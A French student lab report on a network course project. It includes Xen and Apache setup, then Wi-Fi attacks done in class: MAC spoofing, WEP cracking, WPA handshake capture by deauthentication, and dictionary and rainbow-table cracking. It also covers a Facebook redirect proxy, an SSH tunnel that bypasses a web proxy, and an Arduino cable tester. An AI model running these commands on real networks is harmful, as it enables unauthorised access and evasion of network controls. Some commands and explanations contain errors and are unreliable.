[[Fichier:PRA15 - Réseau Temporaire.png]]

Au début du PRA, nous ne disposions pas de l'intégralité du matériel. Par conséquent nous avons mis en place un réseau dégradé permettant aux autres groupes de travailler sur leur projet. Nous avons donc utilisé un des cartes 1 Gigabyte pour relier la routeur de la salle E306 à notre arrivée Internet, rendant l'utilisation de la fibre D du fait du faible nombre de GBIC 1 Gigabyte. De plus, comme il nous manquait un raccord de fibre pour la fibre B, nous avons utilisé un câble cuivré pour lier le routeur de la E306 au switch de la E304. La liaison au Xen était donc assuré par un seul lien cuivré entre celui-ci et le switch de la E306.

== La partie commune ==
=== Création d'un site Web haute disponibilité ===
==== Installation de la machine virtuelle ====
D'après notre sujet, notre site Web devait être hébergé sur une machine virtuelle fonctionnant sur le serveur que nous avions rendu redondant précédemment. Nous avons donc commencé par créer cette machine virtuelle, nommée "kwak". Notre hôte est un serveur Xen 3.0.
<pre>
# cat /etc/xen/kwak.cfg
kernel = '/boot/vmlinuz-3.14-2-amd64'
extra = 'elevator=noop'
ramdisk = '/boot/initrd.img-3.14-2-amd64'
vcpus = '1'
memory = '512'
root = '/dev/xvda2 ro'
disk = [
'file:/usr/local/xen/domains/kwak/disk.img,xvda2,w',
'file:/usr/local/xen/domains/kwak/swap.img,xvda1,w',
]
name = 'kwak'
vif = [ 'ip=193.48.57.167 ,mac=00:16:3E:FF:C3:C5 ,bridge=IMA5sc' ]
on_poweroff = 'destroy'
on_reboot = 'restart'
on_crash = 'restart'
</pre>
Ensuite, nous démarrons notre machine virtuelle.
<pre>
# xl create /etc/xen/kwak.cfg
</pre>
Nous nous connectons alors à la machine (soit en ssh soit avec la console Xen).
<pre>
# xl console kwak
</pre>
Enfin, nous installons les services dont nous allons avoir besoin par la suite.
<pre>
# apt-get install apache2 bind
</pre>

==== Mise en place du service web ====
Pour réaliser notre site web, nous avons commencé par créer une page web basée sur notre nom de domaine: [http://pinkfluffyunicorn.lol pinkfluffyunicorn.lol]
<pre>
<!DOCTYPE>
<html>
<head>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.3/jquery.min.js"></script>
</head>
<body>
<iframe style="position:absolute;top:0px;left:0px;" id="video" src="https://www.youtube.com/embed/qRC4Vk6kisY?autoplay=1&showinfo=0&showsearch=0&iv_load_policy=3&autoplay=1" frameborder="0" allowfullscreen></iframe>
<script>
$(function(){$('#video').css({ width: $(window).innerWidth() + 'px', height: '100%' });
$(window).resize(function(){$('#video').css({ width: $(window).innerWidth() + 'px', height: '100%' });});
});
</script>
</body>
</html>
</pre>

=== Tests de sécurisation de réseaux WiFi ===
==== Accès par filtrage MAC ====
Nous avons commencé par effectuer une connexion sur un point d'accès WiFi fonctionnant par filtrage MAC en ayant notre adresse MAC autorisée sur la borne. Nous avons donc configuré notre interface pour se connecter au WiFi, utiliser une IPv4 libre sur le réseau, installer le routage pour pouvoir pinger la passerelle et enfin accéder à Internet.

La deuxième partie consiste à s'authentifier sur un réseau sécurisé par filtrage MAC, mais cette fois-ci sans avoir son adresse autorisée sur le point d'accès. Pour cela nous allons faire du sniffage du réseau WiFi en question. Nous commençons par passer la carte WiFi en mode monitoring.
<pre>
airodump-ng start wlan0
</pre>
Ensuite, nous avons surveillé le réseau WiFi, nommé "baguette"

<pre>
airodump-ng --essid baguette wlan0mon

CH 13 ][ Elapsed: 0 s ][ 2015-10-22 13:26
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
C4:14:3C:40:78:60 -63 9 0 0 4 54e. OPN baguette
</pre>

On spécifie alors le canal et le BSSID à utiliser pour plus de précision.

<pre>
airodump-ng --essid baguette wlan0mon

CH 4 ][ Elapsed: 18 s ][ 2015-10-22 13:29
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
C4:14:3C:40:78:60 -52 100 146 1 0 4 54e. OPN baguette

BSSID STATION PWR Rate Lost Frames Probe
C4:14:3C:40:78:60 00:15:AF:E7:19:F3 -59 0 - 5e 0 1
</pre>

Dès qu'un client se connecte, il est possible de lui voler son adresse MAC (ici, 00:15:AF:E7:19:F3) et de se connecter sur le point d'accès avec la commande suivante.

<pre>
ifconfig wlan1 hw ether C4:14:3C:40:78:60
</pre>

==== Accès par filtrage WEP ====
Par la suite, nous avons tenté de nous authentifier sur un point d'accès filtré par une clé WEP 128 bits. Nous avons donc commencé par passer l'interface WLAN en mode monitoring.
<pre>
#airmon-ng
PHY Interface Driver Chipset

phy1 wlan3 rt2500usb D-Link Corp. AirPlus G DWL-G122(rev.B1) [Ralink RT2571]

#airmon-ng start wlan3
PHY Interface Driver Chipset

phy1 wlan3 rt2500usb D-Link Corp. AirPlus G DWL-G122(rev.B1) [Ralink RT2571]
(mac80211 monitor mode vif enabled for [phy1]wlan3 on [phy1]wlan3mon)
(mac80211 station mode vif disabled for [phy1]wlan3)
</pre>
L'interface wlan3mon est maintenant disponible pour l'attaque. Nous passons maintenant au scan.
<pre>
#airodump-ng wlan3mon
CH 9 ][ Elapsed: 0 s ][ 2015-11-12 11:58

BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:23:5E:1E:05:48 -57 2 0 0 7 54e. OPN cracotte09
00:23:5E:1E:05:41 -56 3 0 0 7 54e. WEP WEP cracotte02
00:23:5E:1E:05:45 -57 3 22 0 7 54e. WEP WEP cracotte06
00:23:5E:1E:05:44 -56 2 19 0 7 54e. WEP WEP cracotte05
00:23:5E:1E:05:47 -55 3 42 0 7 54e. WEP WEP cracotte08
00:23:5E:1E:05:46 -55 1 67 0 7 54e. WEP WEP cracotte07
00:23:5E:1E:05:42 -56 2 67 0 7 54e. WEP WEP cracotte03
00:23:5E:1E:05:40 -57 2 98 0 7 54e. WEP WEP cracotte01
00:23:5E:1E:05:43 -58 4 99 0 7 54e. WEP WEP cracotte04

BSSID STATION PWR Rate Lost Frames Probe

04:DA:D2:CF:01:90 48:5A:3F:4C:37:61 -1 1e- 0 0 2
00:23:5E:1E:05:45 00:0F:B5:92:23:74 -64 54e-48e 2 21
00:23:5E:1E:05:44 00:0F:B5:92:23:6B -65 48e- 2e 89 9
00:23:5E:1E:05:47 00:0F:B5:92:23:71 -67 54e-54e 39 37
00:23:5E:1E:05:46 00:0F:B5:92:23:69 -63 48e-54e 6 63
00:23:5E:1E:05:42 00:0F:B5:92:23:6A -60 48e-54e 9 59
00:23:5E:1E:05:40 00:0F:B5:92:22:68 -55 36e-48e 9 94
00:23:5E:1E:05:43 00:0F:B5:92:23:75 -58 48e- 2e 145 93
</pre>
Notre cible étant le réseau "cracotte07", nous spécifions donc le canal et l'ESSID
<pre>
#airodump-ng --essid cracotte07 --channel 7 -w dmp wlan3mon
CH 7 ][ Elapsed: 3 mins ][ 2015-11-12 12:03

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:23:5E:1E:05:46 -64 17 1603 46339 201 7 54e. WEP WEP cracotte07
</pre>
Le monitoring du réseau est donc lancé. Pendant ce temps, nous lançons le décryptage avec aircrack.
<pre>
#aircrack-ng *.cap
Opening dmp-01.cap
Read 110082 packets.

# BSSID ESSID Encryption

1 00:23:5E:1E:05:46 cracotte07 WEP (6190 IVs)

Choosing first network as target.

Opening dmp-01.cap
Attack will be restarted every 5000 captured ivs.
Starting PTW attack with 6258 ivs.
</pre>
Ensuite, nous générons plus de flux à l'aide de aireplay.
<pre>
#aireplay-ng -5 -e cracotte07 wlan3mon
No source MAC (-h) specified. Using the device MAC (00:11:95:E5:0D:F0)
12:02:11 Waiting for beacon frame (ESSID: cracotte07) on channel 7
Found BSSID "00:23:5E:1E:05:46" to given ESSID "cracotte07".
12:02:11 Waiting for a data packet...

Size: 70, FromDS: 0, ToDS: 1 (WEP)

BSSID = 00:23:5E:1E:05:46
Dest. MAC = FF:FF:FF:FF:FF:FF
Source MAC = 00:0F:B5:92:23:69

0x0000: 8841 2c00 0023 5e1e 0546 000f b592 2369 .A,..#^..F....#i
0x0010: ffff ffff ffff c014 0000 f898 0e00 8065 ...............e
0x0020: 7e87 af6b e679 211e c9d6 1665 0b4f 7e2d ~..k.y!....e.O~-
0x0030: 6cf8 2da9 f0f8 3f96 d831 539a 2f9e ef35 l.-...?..1S./..5
0x0040: b7bd 03c5 5093 ....P.

Use this packet ? y

Saving chosen packet in replay_src-1112-120211.cap
12:02:13 Data packet found!
12:02:13 Sending fragmented packet
</pre>
Et enfin, aircrack trouve la clé.
<pre>
Aircrack-ng 1.2 rc2

[00:02:12] Tested 853 keys (got 40800 IVs)

KB depth byte(vote)
0 0/ 9 55(53248) FD(49664) 1F(47872) 7E(47616) 11(47360) D9(47360) F5(46848) 58(46592) 1E(46336) EE(46336) B0(46080) 20(45824) 93(45824) CD(45824) 0A(45568) 81(45568)
1 0/ 1 52(61952) 07(50176) 1E(49152) E4(49152) 11(48640) 38(48640) 5F(48640) 33(48128) A7(47360) AB(47360) 46(47104) E1(47104) ED(47104) 20(46848) 23(46592) 4D(46592)
2 0/ 1 55(60160) 27(47872) 3A(47616) 3D(47616) 45(47616) C4(47616) 05(47360) 70(47104) 99(47104) 4D(46336) E1(46336) 23(46080) 69(46080) 83(46080) 31(45824) 6A(45824)
3 13/ 3 79(46848) 2C(46592) 5E(46592) 1E(46080) 34(46080) 03(45824) 12(45824) 08(45568) AD(45568) B9(45568) 64(45312) 9B(45312) CE(45312) FB(45312) 74(44800) C0(44800)
4 1/ 4 CB(48896) 12(47872) 22(47872) E0(47872) FE(47872) 98(47360) ED(47360) 60(46848) 78(46848) 96(46848) 9A(46848) 6C(46592) 21(46080) 38(46080) A1(46080) 16(45824)

KEY FOUND! [ 55:55:55:55:55:55:55:55:55:51:11:11:11 ]
Decrypted correctly: 100%
</pre>
==== Accès par filtrage WPA ====
L'accès à un réseau protégé par une clé WPA est plus complexe car aircrack n'est pas capable de trouver la clé par ses propres moyens. Il est nécessaire de lui fournir un dictionnaire contenant la clé de réseau pour espérer pouvoir s'y connecter. Nous avons donc commencé par générer un dictionnaire comprenant certaines clés (dans notre cas, tout les nombres à 8 chiffres). Le script Perl générant le dictionnaire est le suivant.
<pre>
#!/usr/bin/perl
my $ite = 0;
my $max = 1000000;
my $outp;
my $tmp;
for (my $j=0; $j < 100; $j++)
{
$tmp = sprintf("[%02d]\n", $j);
print STDERR $tmp;
for (my $i=0; $i < ($max); $i++)
{
$outp = sprintf("%08d\n", $ite);
$ite++;
print $outp;
}
}
</pre>
Nous lançons donc la génération avec la commande
<pre>
# ./gen.pl > dic.txt
</pre>
Le dictionnaire est ainsi généré. Cependant, la taille du dictionnaire est légèrement importante.
<pre>
859M -rw-r--r-- 1 root root 859M nov. 13 09:41 dic.txt
</pre>
Ensuite, après avoir passé l'interface en mode monitoring (de la même façon que pour les attaques précédentes), nous lançons notre surveillance du réseau "Almost Secure WiFi".
<pre>
# airodump-ng --channel 6 --essid "Almost Secure WiFI" -w dmp wlan1
</pre>
Puis, nous désauthentifions les clients déjà connectés pour récupérer le "handshake" qui permettra le décryptage de la clé.
<pre>
# aireplay-ng -0 5 -e "Almost Secure WiFI" wlan1
</pre>
Une fois la désauthentification envoyée, nous récupérons le "handshake" durant la reconnection des clients.
<pre>
# aircrack-ng *.cap
Opening dmp-01.cap
Read 2370 packets.
# BSSID ESSID Encryption

1 00:13:46:79:6A:1C Almost Secure WiFI WPA (1 handshake)
</pre>
=====Attaque par dictionnaire=====
A partir du moment où nous disposons du "handshake", deux options s'offrent à nous. La première consiste à réaliser une attaque par dictionnaire (celui que nous avons généré). Commençons donc par cette attaque.
<pre>
# aircrack-ng -w dico.txt *.cap
Aircrack-ng 1.2 beta3
[00:58:30] 12121212 keys tested (3659.24 k/s)
KEY FOUND! [ 12121212 ]
Master Key : 8E 68 0C AB 07 0F F7 AD 0D 6A 04 A0 DB F5 A0 62
F8 39 26 F0 B4 C2 42 23 9E 11 5A 6B E2 39 A3 45
Transient Key : CE 6D 03 71 74 1D 39 B3 35 8A 24 D5 7D 39 76 DF
68 5B D5 CC 79 C5 6F 64 A3 A9 84 D2 36 19 7A F8
45 70 AF 3E 41 15 86 E3 2F 8C 5E 2E 5C F8 98 28
A6 FC DE 27 68 50 07 55 77 6F 83 9D B3 44 32 7E
EAPOL HMAC : 8D 45 38 2F 02 E5 F9 0B 4B 92 EB E9 6B FF B6 EE
</pre>
Cete attaque, bien que parfaitement fonctionnelle, ne permet pas d'obtenir la clé rapidement. La vitesse de test des clés est fixe et ne dépend que de la performance du processeur. Dans notre cas (Intel i5-2400 @ 3.1 GHz) notre vitesse de test est de 3600 clés par seconde.
=====Attaque par Rainbow Tables=====
Pour réaliser l'attaque par par rainbow table, nous utiliserons le logiciel PyRit. C'est un logiciel codé en Python qui permet l'attaque de PMK (qui donne le mot de passe du réseau WiFi) plus efficacement que Aircrack. En attaque par dictionnaire classique, sur matériel équivalent (c'est à dire Intel i5-2400 @ 3.1 GHz), PyRit est légérement plus performant que Aircrack en passant d'une moyenne de 3600 PMK/s à 5200 PMK/s. L'intérêt d'utiliser une "rainbow table" est de générer une table valable pour un seul SSID (voir la partie suivante) qui permettra de comparer les PMK plus rapidement. Pour cela, nous allons commencer par ajouter le nom de notre réseau WiFi (aussi appelé ESSID) à PyRit.
<pre>
# pyrit -e 'Almost Secure WiFI' create_essid
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

Connecting to storage at 'file://'... connected.
Created ESSID 'Almost Secure WiFI'
</pre>
Ensuite, nous ajoutons le dictionnaire qui permettra la génération de la "rainbow table". On remarqera que cette étape prend entre 5 à 10 secondes.
<pre>
# pyrit -i ./dic.txt import_passwords
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

Connecting to storage at 'file://'... connected.
100000000 lines read. Flushing buffers... ..
All done.
</pre>
Maintenant, nous devons générer la "rainbow table". Cette partie est extrêmement longue et utilise le processeur au maximum de ses possibilités. Il est important de noter que pendant cette phase, le processeur chauffe énormément, une bonne ventilation du PC est donc obligatoire.
<pre>
# pyrit batch
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

Connecting to storage at 'file://'... connected.
Working on ESSID 'Almost Secure WiFI'
Processed 3/1536 workunits so far (0.2%); 5174 PMKs per second.
</pre>
On voit que PyRit calcule les PMK à 5200 clés par secondes. Bien que plus importante qu'avec Aircrack, cette vitesse reste assez faible. Pour augmenter la vitesse de calcul, nous allons utiliser la carte graphique disponible dans l'ordinateur. Pour cela, nous avons installer les drivers nécessaires et ajouté les outils Cuda pour que la carte graphique (NVidia GTX 560) puisse effectuer les calculs. Nous avons donc effectué un court benchmark pour constater les améliorations des performances.
<pre>
# pyrit benchmark
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

Running benchmark (25147.5 PMKs/s)... \

Computed 25147.53 PMKs/s total.
#1: 'OpenCL-Device 'GeForce GTX 560'': 23696.7 PMKs/s (RTT 2.8)
#2: 'CPU-Core (SSE2)': 983.3 PMKs/s (RTT 3.0)
#3: 'CPU-Core (SSE2)': 975.5 PMKs/s (RTT 3.0)
#4: 'CPU-Core (SSE2)': 972.8 PMKs/s (RTT 3.0)
</pre>
Avec une vitesse de 25000 PMK/s, nous lançons la génération de la "rainbow table" qui prendra environ une heure.
<pre>
# pyrit batch
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

Connecting to storage at 'file://'... connected.
Working on ESSID 'Almost Secure WiFI'
Processed 95/1536 workunits so far (6.2%); 26045 PMKs per second.
</pre>
Maintenant que la "rainbow table" est générée, nous lançons l'attaque.
<pre>
# pyrit -r *.cap attack_batch
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

Connecting to storage at 'file://'... connected.
Parsing file 'dmp-01.cap' (1/1)...
Parsed 270 packets (270 802.11-packets), got 1 AP(s)

Picked AccessPoint 00:13:46:79:6a:1c ('Almost Secure WiFI') automatically.
Attacking handshake with station 00:0c:e7:41:68:29
Tried 6001009 PMKs so far (5.9%); 11875239 PMKs per second

The password is '12121212'.
</pre>
Le mot de passe est alors affiché. Le temps nécessaire à l'obtention de la clé est d'une quinzaine de secondes. La vitesse de calcul des PMK est en moyenne de 7 millions de PMKs par secondes avec des pics à 11 millions de PMKs par secondes lors de l'accès à des zones du disque en cache. L'attaque par "rainbow tables" est donc largement plus performante.

=====Algorithme de génération de PMK=====
Pour trouver le mot de passe d'un réseau WiFi protégé par du WPA, il est nécessaire de générer la PMK (Pairwise Master Key) correspondant au nom du réseau WiFi ciblé. En effet, l'algorithme de génération de la PMK (nommé PBKDF2) prend comme salage l'ESSID.
<pre>
PMK = PBKDF2(HMAC-SHA1, PASSWORD, ESSID, 4096, 256)
</pre>
La fonction PBKDF2 (dont le nom complet est Password-Based Key Derivation Function 2) est une fonction de dérivation de clés publié par le laboratoire PKCS des laboratoires RSA. Elle est aussi maintenue par le [https://tools.ietf.org/html/rfc2898 RFC 2898] de l'IETF. Cette fonction s'utilise en combinaison d'une autre fonction. Cette autre fonction doit être de type pseudo-aléatoire pour permettre la création de clés cryptographiques. Les paramètres de cette fonction PBKDF2 sont donc:
*[PRF] La fonction pseudo-aléatoire (ici HMAC-SHA1)
*[PASSWORD] Le mot de passe
*[SALT] Le salage (ici l'ESSID)
*[COUNT] Le nombre d'itération de la fonction PBKDF2 (ici 4096)
*[LEN] La longueur du résultat de la fonction (ici 256)
La résultat de la fonction est le résultat de la succession d'opération XOR, un nombre de fois déterminé par COUNT, à travers l'algorithme PFR.
<pre>
PBKDF2(PRF, PASSWORD, SALT, COUNT, LEN) = U1 ^ U2 ^ ... ^ Ucount
</pre>
Où les "Un" sont égales à: (ici, IMT_32_BE est la valeur de LEN convertie sur un INT codé sur 32 bits en Big Endian.
<pre>
U1 = PRF(PASSWORD, SALT || INT_32_BE(LEN))
U2 = PRF(PASSWORD, U1)
...
Uc = PRF(PASSWORD, Ucount-1)
</pre>
Maintenant, intéressons nous à la PRF, ici la fonction HMAC-SHA1. Elle est composée de deux fonctions: HMAC et SHA1. Nous traiterons le SHA1 par la suite. La fonction HMAC de son vrai nom keyed-Hash Message Authentication Code) permet de vérifier l'authenticité et l'intégrité d'un message. Elle est maintenue par le [https://tools.ietf.org/html/rfc2104 RFC 2104] de l'IETF Elle se repose elle aussi sur une autre fonction pour assurer son fonctionnement (comme le PBKDF2). Cependant, la fonction cryptographique utilisé n'influe pas sur sa capacité à vérifier l'authenticité et l'intégrité d'un message. Les paramètres de la fonction HMAC sont les suivants:
*[KEY] la clé utilisée pour encoder le message
*[MSG] le message à encoder
*[H] la fonction qui va être utilisé pour encoder le message (ici, nous utiliserons SHA1)
*[HLEN] le longueur du résultat fourni par H (dans notre cas HLEN vaut 64 octets)
Le principe de fonctionnement est le suivant:
<pre>
function HMAC(KEY, MSG, H, HLEN)
if(length(KEY) > HLEN)
KEY = H(KEY) // Si la clé est trop grande, elle est réduite par H
if(length(KEY) < HLEN)
KEY = KEY || (0x00 * (HLEN - LENGTH(KEY)))

opad_key = (opad * HLEN) ^ KEY;
ipad_key = (ipad * HLEN) ^ KEY;

return H(opad_key || H(ipad_key || MSG)
</pre>
Dans cette fonction:
*L'opérateur || désigne la concaténation directe tel que "J'aime le"||" poulet" est égale à "J'aime le poulet"
*L'opérateur * désigne la répétition de l'élément tel que "J"*4 est égale à "JJJJ"
*L'opérateur ^ désigne l'opérateur XOR logique
*La variable opad est une constance valant 0x5C
*La variable ipad est une constance valant 0x36
Finalement, intéressons nous à la fonction SHA1. Celle-ci a été développé par la National Security Agency (NSA). C'est une fonction (ou algorithme) dit asymétrique: c'est à dire que l'argument qui lui est passé ne peut pas être retrouvé à l'aide du résultat. La fonction ne prend donc qu'un seul paramètre.
<pre>
function SHA1(PASS)
h0 = 0x67452301
h1 = 0xEFCDAB89
h2 = 0x98BADCFE
h3 = 0x10325476
h4 = 0xC3D2E1F0
ml = message length in bits (always a multiple of the number of bits in a character).

append the bit '1' to the message e.g. by adding 0x80 if message length is a multiple of 8 bits.
append 0 ≤ k < 512 bits '0', such that the resulting message length in bits is congruent to −64 ≡ 448 (mod 512)
append ml, in a 64-bit big-endian integer. Thus, the total length is a multiple of 512 bits.

break message into 512-bit chunks
for each chunk
break chunk into sixteen 32-bit big-endian words w[i], 0 ≤ i ≤ 15

//Extend the sixteen 32-bit words into eighty 32-bit words:
for i from 16 to 79
w[i] = (w[i-3] xor w[i-8] xor w[i-14] xor w[i-16]) leftrotate 1

//Initialize hash value for this chunk:
a = h0
b = h1
c = h2
d = h3
e = h4

//Main loop
for i from 0 to 79
if 0 ≤ i ≤ 19 then
f = (b and c) or ((not b) and d)
k = 0x5A827999
else if 20 ≤ i ≤ 39
f = b xor c xor d
k = 0x6ED9EBA1
else if 40 ≤ i ≤ 59
f = (b and c) or (b and d) or (c and d)
k = 0x8F1BBCDC
else if 60 ≤ i ≤ 79
f = b xor c xor d
k = 0xCA62C1D6

temp = (a leftrotate 5) + f + e + k + w[i]
e = d
d = c
c = b leftrotate 30
b = a
a = temp

//Add this chunk's hash to result so far:
h0 = h0 + a
h1 = h1 + b
h2 = h2 + c
h3 = h3 + d
h4 = h4 + e

//Produce the final hash value (big-endian) as a 160 bit number:
hh = (h0 leftshift 128) or (h1 leftshift 96) or (h2 leftshift 64) or (h3 leftshift 32) or h4
</pre>
===Attaque Man In the Middle de Facebook===
Squirm ne marche pas ... D'un autre coté, en 1999 c'était peut être la mode.

Config Squid
<pre>
acl allowedips src 172.16.1.0/24
http_access allow allowedips
forwarded_for off
http_access deny all
cache_access_log /var/log/squid3/access.log
cache_log /var/log/squid3/cache.log
cache_store_log /var/log/squid3/store.log
cache_dir ufs /var/spool/squid3 100 16 256
cache_mem 16 MB
maximum_object_size 15 MB
http_port 3128
cache_effective_group root
url_rewrite_program /usr/bin/squidGuard
shutdown_lifetime 1 second
</pre>
Config Squidguard
<pre>
dbhome /usr/local/squidGuard/db

dest fb-login {
urllist facebook/url
}

acl {
default {
pass !fb-login all
redirect http://127.0.0.1/
}
}
</pre>
cat /usr/local/squidGuard/db/facebook/url
<pre>
fr-fr.facebook.com
</pre>

===Contournement d'un proxy===
Lors de certains événements, il est nécessaire de disposer d'un accès Internet complet, sans aucune limitation. Dans le cadre de la compétition "La nuit de l'info", nous avons été amené à réaliser un dispositif permettant une accès libre à Internet à travers un accès filtré par proxy web à l'aide d'un serveur non filtré. Pour cela, nous avons utilisé une machine dédiée comprenant deux cartes réseaux. Nous avons commencé, après l'installation du système d'exploitation (Debian Jessie) à installer les paquets nécesasires.
<pre>
# apt-get install openssh-server proxytunnel isc-dhcp-server
</pre>
Ensuite, nous avons créé notre fichier de configuration ssh pour un accès plus facile à notre serveur non filtré. On notera qu'il est important que le serveur ssh distant écoute sur le port 443, car c'est l'un des rares ports que le serveur proxy laisse passer.
<pre>
# vim /root/.ssh/config
Host perfectTunnel
Hostname ADRESSE_IP_DE_NOTRE_SERVEUR
User root
Port 443
ProxyCommand proxytunnel -p proxy.nuitinfolille.fr:3128 -d %h:%p
</pre>
Ensuite, nous créons notre script permettant la création d'un tunnel entre notre machine dédiée et notre serveur distant.
<pre>
ssh \
-o PermitLocalCommand=yes \
-o LocalCommand="ifconfig tun5 12.24.48.2 pointopoint 12.24.48.1 netmask 255.255.255.0" \
-o ServerAliveInterval=60 \
-w 5:5 perfectTunnel \
'ifconfig tun5 12.24.48.1 pointopoint 12.24.48.2 netmask 255.255.255.0; echo tunnel ready'
</pre>
Une première vérification nous permet de nous assurer que le tunnel fonctionne correctement.
<pre>
# ping -I tun5 8.8.8.8
PING 8.8.8.8 (8.8.8.8) from 12.24.48.2 tun5: 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=55 time=21.9 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=55 time=17.4 ms
64 bytes from 8.8.8.8: icmp_seq=3 ttl=55 time=17.3 ms
^C
--- 8.8.8.8 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2002ms
rtt min/avg/max/mdev = 17.383/18.920/21.904/2.110 ms
</pre>
On voit bien que l'interface tun5 peut pinger une IP de Google, on peut donc supposer que son accès à Internet est complet. Nous allons maintenant modifier les routes du serveur pour qu'il utilise cette interface comme passerelle par défaut.
<pre>
# route del default
# route add default gw 12.24.48.1
</pre>
On vérifie que notre machine dédiée peut bien accéder à Internet en totalité.
<pre>
# ping 8.8.8.8
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=55 time=17.0 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=55 time=16.7 ms
64 bytes from 8.8.8.8: icmp_seq=3 ttl=55 time=19.4 ms
64 bytes from 8.8.8.8: icmp_seq=4 ttl=55 time=17.5 ms
^C
--- 8.8.8.8 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3004ms
rtt min/avg/max/mdev = 16.758/17.705/19.494/1.084 ms
</pre>
Maintenant que le tunnel fonctionne, il ne reste plus qu'à la partager aux clients. Pour cela, nous commençons par mettre en place en serveur DHCP sur une des cartes réseaux (eth0).
<pre>
# vim /etc/default/isc-dhcp-server
INTERFACES="eth0"

# vim /etc/dhcp/dhcpd.conf
subnet 118.218.0.0 netmask 255.255.0.0 {
range 118.218.1.1 118.218.254.254;
option routers 118.218.0.1;
option subnet-mask 255.255.0.0;
option broadcast-address 118.218.255.255;
option domain-name-servers 8.8.8.8, 8.8.4.4;
}

default-lease-time 600;
max-lease-time 7200;
authoritative;
</pre>
Les clients ont leur IP. Il faut maintenant configurer le serveur pour qu'il effectue la redirection correctement.
<pre>
iptables -A FORWARD -i eth0 -o tun5 -s 118.218.0.0/16 -d 0.0.0.0/0 -j ACCEPT
iptables -A FORWARD -s 0.0.0.0/0 -d 118.218.0.0/16 -j ACCEPT
iptables -t nat -A POSTROUTING -s 118.218.0.0/16 -d 0.0.0.0/0 -j MASQUERADE
</pre>
Et finalement, une dernière commande permet à tout le système de fonctionner: la redirection des packets IPv4 au niveau du noyau.
<pre>
echo 1 > /proc/sys/net/ipv4/ip_forward
</pre>

== La partie bonus ==

Nous souhaitions faire une petite partie bonus en plus du câblage. Nous avons donc décidé de réaliser un système embarqué (nommé CiscoChecker) permettant de tester toutes les connexion de notre réseau et de nous indiquer si un câble est défectueux ou débranché.

Pour cela nous utilisons un arduino auquel nous avons ajouté un écran LCD ainsi qu'un lecteur de carte SD.

=== Utilisation de l'écran LCD ===

Afin d'afficher les résultats de notre test de connexion nous utilisons un shield LCD de chez Sparkfun. Ce dernier nous permettant uniquement de changer la couleur de l’écran complet ou de modifier pixel par pixel. Nous avons donc eu à créer notre propre police d'écriture et à coder tous les caractères pixel par pixel.

Pour cela nous avons choisi de créer des tableaux de caractères pour stocker les pixels correspondants à chaque lettre puis un tableau regroupant toutes nos lettres. Ces données étant trop volumineuses pour être stockées au sein de la mémoire flash de l'arduino, nous les stockons dans la RAM.

Chaque lettre est donc un tableau de caractère dans lequel nous stockons les pixel à changer pour faire notre lettre. Ces lettres sont codées suivant une matrice de 16x8 pixels que nous représentons sous la forme suivante : YX. Ou Y est la position suivant y du pixel codée en hexa et X est la position suivant x, l'origine étant choisie en haut à gauche de la matrice.

Voici à quoi ressemble une de nos lettres :
<pre>
const char letter_A[] PROGMEM = {
0x13,0x22,0x24,0x31,0x35,0x41,0x45,0x50,0x56,0x60,
0x66,0x70,0x71,0x72,0x73,0x74,0x75,0x76,0x80,0x81,
0x82,0x83,0x84,0x85,0x86,0x90,0x96,0xA0,0xA6,0xB0,
0xB6,0xC0,0xC6,0xD0,0xD6,0xE0,0xE6,0x00};
</pre>

Nous avons ensuite une fonction getIndex qui va, pour chaque lettre lue, renvoyer l'index de ce caractère dans notre tableau de lettres afin de pouvoir l'afficher.

Une fois toutes les lettres réalisées il suffit juste de stocker en variables globales la position actuelle en X et en Y et de l'incrémenter à chaque fois que l'on écrit une lettre sans oublier de prendre en compte le retour à la ligne.

Pour le retour à la ligne nous souhaitions avoir un défilement classique de notre texte qui se décale à chaque nouvelle ligne, mais cette méthode demandant de stocker le texte affiché à l'écran est trop gourmande en mémoire. Donc nous nous contentons d'effacer l'écran lorsque l'on arrive au bout.

=== Utilisation du lecteur de carte SD ===

Nous avons besoin d'utiliser une carte SD afin de stocker la configuration de notre réseau, c'est à dire comment sont connectés les câbles au sein de notre réseau. Pour cela on utilise un shield SD de chez Sparkfun.

Après s’être documenté, nous avons choisi de réaliser cette partie à l'aide de l'IDE arduino. Nous voulons utiliser l'IDE arduino car bien que les cartes SD utilisent une communication en SPI ce qui est assez simple à réaliser en C. Lorsque l'on souhaite envoyer des commandes à notre carte SD il faut respecter les spécifications SD qui sont assez complexes. N'ayant trouvé aucune librairie sur le net nous avons choisi de ne pas le faire en C par manque de temps.

Nous utilisons donc un simple programme arduino afin de lire des fichiers présents sur la carte SD.

=== Communication avec le matériel Cisco ===

[[Fichier:ciscoChecker.png|200px|thumb|left]]Afin de pouvoir tester le réseau notre CiscoChecker doit être connecté via port série à un élément Cisco du réseau. Or nous avons rencontré des problèmes lors de cette communication car ces deux appareils travaillent avec des tensions différentes. Pour régler ce problème nous avons réalisé carte électronique permettant la conversion de cette tension à l'aide d'une puce MAX232N.

